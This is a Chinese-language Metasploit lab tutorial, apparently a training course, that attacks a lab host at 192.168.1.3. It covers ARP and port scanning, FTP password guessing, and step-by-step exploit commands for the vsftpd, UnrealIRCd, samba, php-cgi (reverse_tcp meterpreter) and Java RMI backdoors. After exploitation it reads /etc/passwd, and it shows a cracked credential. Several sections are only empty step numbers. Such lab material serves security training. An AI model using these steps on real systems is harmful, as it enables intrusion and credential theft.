Metasploit基本介绍与配置
Metasploit作为一个非常全面的渗透工具,用来收集信息非常好用,信息收集的方法主要分为主动和被动方式。被动信息收集是指在不直接接触目标系统的情况下,获取目标主机的信息。比如,通过搜索引擎方式可以获得目标主机操作系统,开放的端口号。主动信息收集是指可以通过扫描目标系统来确定目标主机开放的服务。主动收集信息的方法被IDS和IPS记录的概率加大。
Metasploit中不仅能够使用第三方扫描器,例如nmap工具。还可以利用其辅助模块中包含的端口扫描功能发现活跃主机,这些模块位于Metasploit源码路径的modules/auxiliary/scanner/discovery/目录中,主要有arp_sweep、udp_probe、udp_sweep等。其中arp_sweep使用ARP请求枚举本地局域网络中的所有活跃主机,udp_sweep通过发送UDP数据包探查指定主机是活跃,并发现主机上的UDP服务。
1.2 在终端输入命令msfconsole命令,启动Metasploit终端,界面中会显示集成攻击模块、辅助模块、攻击载荷模块等。
1.3 在msf命令行下,启用arp_sweep模块。输入命令use auxiliary/scanner/discovery/arp_sweep,启用已经启用了arp_sweep模块。
1.7输入命令run开始扫描。
1.9输入命令run,查看结果。
1.10 发现活跃主机后,扫描一下主机的开放端口都有哪些,利用search portscan命令找到相关的工具。
1.11 下面先使用syn端口扫描器进行扫描,启用syn扫描器,输入命令:use auxiliary/scanner/portscan/syn,显示参数设置完毕。
1.12 在终端下输入run,显示目标主机开放的端口号。注意:如果端口扫描失败或者端口扫描得到的结果不理想,可以重新打开一个终端,使用nmap -sV 192.168.1.3来进行端口扫描,进而得到我们需要的结果。
1.13 在扫描过程中,可以针对某个已知的漏洞来对目标系统进行扫描,例如上图中的21端口开放着,那么利用ftp_version模块对主机进行扫描。输入命令:use auxiliary/scanner/ftp/ftp_version 启用模块,设置扫描参数,显示开启了FTP服务。
1.14利用自带的anonymous模块检查一下是否允许匿名登录。输入命令:use auxiliary/scanner/ftp/anonymous模块,设置相关参数。然后输入命令run。
如何针对多台主机进行扫描?
Metasploit溢出vsftp特权提升漏洞
1.2 在终端中输入命令“nmap –sV 192.168.1.3”,对目标主机进行端口扫描,发现开放21端口并且安装vsftpd服务器软件,版本为2.3.4。
1.3 在终端中输入命令“msfconsole”,启动MSF终端。
1.4 在终端中输入命令“search vsftpd”,搜索vsftpd的相关工具和攻击载荷,显示vsftpd v2.3.4版本的漏洞利用模块。
1.5 在终端中输入命令“use exploit/unix/ftp/vsftpd_234_backdoor”,启用漏洞利用模块, 提示符就会提示进入到该路径下。
1.6 在终端中输入命令“show options”,查看需要设置的相关项,“yes”表示必须填写的参数。
1.7 在终端中输入命令“set RHOST 192.168.1.3”,设置目标主机的IP地址。
1.8 在终端中输入“show payloads”, 显示Metasploit中可以在远程主机执行的代码,即shellcode。
1.9 在终端中输入“set PAYLOAD cmd/unix/interact”, 选择在远程主机执行的shellcode代码。
1.10 在终端中输入“exploit”, 实施攻击。攻击成功后,输入命令“ifconfig”,查看IP为目标主机,表示溢出成功。
1.11 在终端中输入“whoami”,查看获得的权限为root,输入命令“cat /etc/passwd”,查看系统的帐号和密码。
Metasploit辅助模块案例
Metasploit是一款开源的安全漏洞检测工具,帮助使用者识别安全问题,验证漏洞存在的有效措施,并对某些软件进行安全性评估,提供真正的安全风险报告。Metasploit软件提供多用户接口,包括终端、命令行和图形化界面。
1.3 利用arp_sweep模块扫描一下局域网内的活跃主机信息。
1.4 在msf终端中输入”set RHOSTS 192.168.1.0/24”命令,然后使用“show options”查看设置完的参数。
1.5 在msf终端中输入”show options”命令列出arp_sweep模块的各项参数设置,查看设置完的参数。
1.6 在msf终端中输入”help”命令,查看可以使用的命令。
1.7 在help命令中提示,auxiliary模块要使用run模块运行。在msf终端中输入”run”命令,查看运行效果,从输出信息可知,局域网中只有192.168.1.3一台主机在线。Arp_sweep模块只能探测同一子网中的活跃主机,对于远程主机,可以使用nmap扫描器。
1.9 可以利用metasploit中集成的端口扫描模块了解活跃主机的详细信息,在msf终端中输入search portscan命令,查一下都有哪些可利用的模块。简单介绍一下扫描方式:auxiliary/scanner/portscan/ack 通过ACK扫描的方式对防火墙上未被屏蔽的端口进行探测;auxiliary/scanner/portscan/syn 通过发送TCP SYN标志的方式探测开放的端口;auxiliary/scanner/portscan/tcp 通过一次完整的TCP连接来判断端口是否开放;auxiliary/scanner/portscan/xmas 通过发送FIN、PSH、URG标志,能够躲避一些高级的TCP标记检测器的过滤。
1.10 下面利用syn端口扫描模块对目标主机扫描,收集详细信息,在终端下输入“use auxiliary/scanner/portscan/syn”,应用此模块。
1.11 在终端中输入“set RHOSTS 192.168.1.3”,设置扫描目标主机IP,输入命令run进行扫描。注意:如果端口扫描失败或者端口扫描得到的结果不理想,可以使用nmap -sV 192.168.1.3来进行端口扫描,进而得到我们需要的结果。
1.12 利用metasploit端口扫描辅助模块确定开放端口,然后对相应端口上所运行服务的信息进行更深入的挖掘。在Metasploit的scanner辅助模块中,[service_name]_version用于遍历网络中包含了服务版本,[service_name]_login对服务进行口令探测。
1.13 在msf终端中输入”use auxiliary/scanner/ftp/ftp_version”命令,查看可以使用的命令.
1.14 在终端中输入“set RHOSTS 192.168.1.3”设置扫描主机IP,在终端中输入run进行扫描,从输出显示,主机为windows系统,开启FTP服务。
1.15 输入search ftp_login命令,搜索ftp_login模块,尝试进行口令试探攻击。
1.16 在msf终端中输入”use auxiliary/scanner/ftp/ftp_login”命令,应用此模块。
1.17 利用set命令设置攻击模块的各项参数,然后输入run命令运行攻击,显示administrator/Simplexue123账号登陆成功。
二、课后习题
在使用ftp_login模块时,可以使用密码表进行破解吗?
beef+Metasploit利用浏览器获得shell
1.7输入命令“/etc/init.d/postgresql start”,启动postgresql服务。输入命令“msfdb init”,初始化数据库。
1.8在终端中输入“msfconsole”启动metasploit模块,输入命令”load msgrpc ServerHost=192.168.1.2 Pass=abc123”。 如图8所示
1.10在终端输入命令“./beef -x”加载模块。
Metasploit溢出UnrealIRCd后门漏洞
1.2 在终端中输入命令“nmap –sV 192.168.1.3”,对目标主机进行端口扫描,发现开放6667端口,对应的服务为unreal ircd。如图2所示
1.4 在终端中输入命令“search unreal ircd”,搜索ircd的相关工具和攻击载荷。如图4所示
1.9 在终端中输入“whoami”,查看获得的权限为root,输入命令“cat /etc/passwd”,查看系统的帐号和密码。如图9所示
Metasploit溢出sysmlink 默认配置目录遍历漏洞
1.1 使用nmap命令对目标主机进行扫描。单击桌面空白处,右键菜单选择“在终端中打开”。如图1所示
1.4 在终端中输入命令“search samba”,搜索samba的相关工具和攻击载荷。如图4所示
1.9 在终端中输入“exploit”, 开始攻击。如图9所示
1.12在终端中输入“more /etc/passwd”, 查看目标主机系统中的密码。如图12所示
Metasploit溢出samba提权漏洞
1.2 在终端中输入命令“nmap –sV 192.168.1.3”,对目标主机进行端口扫描,发现开放445端口、139端口并且安装samba软件,版本为3。如图2所示
1.3 在终端中输入命令“msfconsole”,启动MSF终端。如图3所示
1.4 在终端中输入命令“search samba”,搜索samba的相关工具和攻击载荷。如图4所示
1.5 在终端中输入命令“use exploit/multi/samba/usermap_script”,启用漏洞利用模块, 提示符就会提示进入到该路径下。如图5所示
在终端中输入命令“info”,查看需要设置的相关项,“yes”表示必须填写的参数。
1.7 在终端中输入命令“set RHOST 192.168.1.3”,设置目标主机的IP地址。如图7所示
1.8 在终端中输入“exploit”, 开始向目标主机攻击,攻击成功后,建立会话。如图8所示
1.9 在终端中输入“whoami”,查看获得的权限为root,输入命令“ifconfig”,查看系统的网络信息。如图9所示
Metasploit溢出phpMyAdmin漏洞
1.2 在终端中输入命令“nmap –sV 192.168.1.3”,对目标主机进行端口扫描,发现开放80端口。如图2所示
1.3 在浏览器地址栏中输入“http:\192.168.1.3”,访问目标网站。如图3所示
2.1 在终端中输入命令“dirbuster”,启动软件对目标网站进行扫描。如图4所示
2.3 扫描结果显示包含cgi-bin目录、phpmyadmin目录等。如图6所示
3.1 在终端中输入命令“msfconsole”,启动MSF终端。如图7所示
3.2 在终端中输入命令“search php_cgi”,搜索php_cgi的相关工具和攻击载荷。如图8所示
3.3 在终端中输入命令“use exploit/multi/http/php_cgi_arg_injection”,启用漏洞利用模块, 提示符就会提示进入到该路径下。如图9所示
3.4 在终端中输入命令“show payloads”,显示Metasploit中可以在远程主机执行的代码,即shellcode。如图10所示
3.5 在终端中输入命令“set PAYLOAD php/meterpreter/reverse_tcp”,设置使用的shellcode代码。如图11所示
3.6 在终端中输入“show options”,显示攻击模块需要设置的参数。如图12所示
3.7 在终端中输入“set LHOST 192.168.1.2”,设置源主机的IP地址,用于会话的反向链接。如图13所示
3.8 在终端中输入“set RHOST 192.168.1.3”,设置目标主机的IP。如图14所示
3.9
3.10
3.11
3.12
Metasploit溢出java RMI SERVER命令执行漏洞
1.2 在终端中输入命令“nmap –sV 192.168.1.3”,对目标主机进行端口扫描,发现开放1099端口。如图2所示
1.3 在终端中输入命令“msfconsole”,启动MSF终端。如图3所示
1.4 在终端中输入命令“search java_rmi_server”,搜索RMI的相关工具和攻击载荷。如图4所示
1.5 在终端中输入命令“use exploit/multi/misc/java_rmi_server”,启用漏洞利用模块, 提示符就会提示进入到该路径下。如图5所示
1.6 在终端中输入命令“show options”,查看需要设置的相关项,“yes”表示必须填写的参数。如图6所示
1.7 在终端中输入命令“set RHOST 192.168.1.3”,设置目标主机的IP地址。如图7所示
1.8 在终端中输入“exploit”, 实施攻击,攻击成功后,建立连接会话。如图8所示
1.9 在终端中输入“sysinfo”,查看系统信息,输入命令“Id”,查看用户权限。如图9所示
Metasploit溢出Distcc后门漏洞
1.2
1.3
1.4
1.5
1.6
1.7
1.8
1.9
Metasploit批量验证爆破telnet
1.2
1.3
2.1
2.2
2.3
2.4
2.5
2.6
2.7
2.8
2.9
2.10
Metasploit对目标主机SSH爆破
1.2
1.3
1.4
1.5
1.6
1.7
1.8
1.9
1.10
1.11
1.12
Metasploit爆破Tomcat弱口令
1.2
1.3
1.4
1.5
1.6
1.7
1.8
1.9
1.10
1.11
1.12
1.13
1.14
1.15
1.16